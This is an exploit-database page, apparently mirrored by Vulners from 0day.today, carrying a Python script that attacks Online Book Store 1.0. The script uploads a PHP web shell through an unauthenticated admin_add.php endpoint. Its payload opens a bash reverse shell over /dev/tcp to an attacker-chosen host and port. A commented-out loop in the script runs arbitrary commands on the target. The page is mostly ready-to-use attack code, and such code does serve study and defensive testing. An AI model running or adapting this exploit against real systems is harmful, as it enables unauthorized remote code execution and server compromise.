Lucene search
K

Online Book Store 1.0 Code Execution Exploit

🗓️ 23 Jul 2020 00:00:00Reported by Tib3riusType 
zdt
 zdt
🔗 0day.today👁 705 Views

Online Book Store 1.0 Unauthenticated Remote Code Executio

Code
#!/usr/bin/env python3

# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution (modified by cesgami)

# Exploit Author: Tib3rius

# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/

# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip

# Version: 1.0

# Tested on: Ubuntu 16.04, Kali Linux 2020.2

# CVE: N/A

# Mod: Not so shitty reverse shell capability (want it to play nice with pwncat)



import argparse

import random

import requests

import socket

import string



parser = argparse.ArgumentParser()

parser.add_argument('url', action='store', help='The URL of the target.')

parser.add_argument('ip', action='store', help='LHOST')

parser.add_argument('port', action='store', help='LPORT')

args = parser.parse_args()



url = args.url.rstrip('/')

random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))



#payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'



payload = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/' + args.ip + '/' + args.port +' 0>&1\'");?>'







file = {'image': (random_file + '.php', payload, 'text/php')}

print('> Attempting to upload PHP web shell...')

r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)

print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')



#print('> Verifying shell upload...')

#r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)



input('> You need to prepare netcat or pwncat (Press any key)')



try:

    r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)

except HTTPError:

    print('> Web shell failed to upload! The web server may not have write permissions.')



'''

if random_file in r.text:

    r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)

    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')

    

    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')

    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))

    if launch_shell.lower() == 'y':

        while True:

            cmd = str(input('RCE $ '))

            if cmd == 'exit':

                sys.exit(0)

            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)

            print(r.text)

else:

    if r.status_code == 200:

        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')

    else:

        print('> Web shell failed to upload! The web server may not have write permissions.')

'''

#  0day.today [2020-07-24]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation